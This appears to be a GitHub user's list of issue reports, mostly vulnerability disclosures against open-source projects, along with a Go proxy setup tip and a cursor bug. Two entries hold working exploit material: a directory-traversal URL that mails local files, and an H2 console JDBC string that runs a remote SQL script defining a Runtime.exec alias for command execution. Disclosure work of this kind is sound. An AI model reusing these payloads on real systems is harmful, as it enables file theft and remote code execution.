小健健 issues

Results 27 issues of


                                            小健健

引用的编辑器组件mavonEditor存在xss

![image](https://user-images.githubusercontent.com/71647398/146767194-f194d20b-7008-4964-8f87-9cd304170c28.png) 解决方案：升级mavon-editor的版本为>=2.8.2 ![image](https://user-images.githubusercontent.com/71647398/146767853-295c3a01-dea5-47c7-8f38-507417a69229.png)

lgtm网站已经没有了

SaToken的Oauth2模块存在开放重定向漏洞风险

### 使用版本: version

运行报错

报错如下 ` go: github.com/cpuguy83/go-md2man/[email protected]: Get "https://proxy.golang.org/github.com/cpuguy83/go-md2man/v2/@v/v2.0.0.mod": dial tcp 172.217.163.49:443: i/o timeout ` 感谢P牛的工具, 问题已解决, 给后来的小伙伴借鉴运行之前需要添加一个代理, 代理的官网: https://goproxy.io/ 添加方式如下: ## Bash (Linux or macOS) Set the GOPROXY environment variable `export...

光标卡动

光标突然卡动, 然后再挪动则跳到特别远的地方

Directory traversal vulnerability causes arbitrary file downloads

The interface location： /admin/backup/sendToEmail ![image](https://github.com/qinxuewu/blog-sharon/assets/71647398/b7d52b84-c382-4410-927b-2ea6e6213a6e) i send local files to my email by accepting this url `http://192.168.246.245:8081/admin/backup/sendToEmail?fileName=Users/xjj/sleep.sh&type=../../../../../..` The mail will then receive the local file ![image](https://github.com/qinxuewu/blog-sharon/assets/71647398/a9999abd-1a7b-45eb-a427-484730517740) causes ![image](https://github.com/qinxuewu/blog-sharon/assets/71647398/1176da14-f8c4-4990-b71a-9198b65480b1)

Unsafe component h2 is referenced, causing ldap injection

url: `http://host:ip/h2-console` driver Class: `org.h2.Driver` JDBC URL: `jdbc:h2:mem:dbtest;MODE=MSSQLServer;INIT=RUNSCRIPT FROM 'http://xxx/files/h2.sql'` and the h2.sql below ``` CREATE ALIAS shel1 As $$void shel1(String s) throws Exception { java.lang.Runtime.getRuntime().exec(s); }$$; SELECT shel1('open -a...

小健健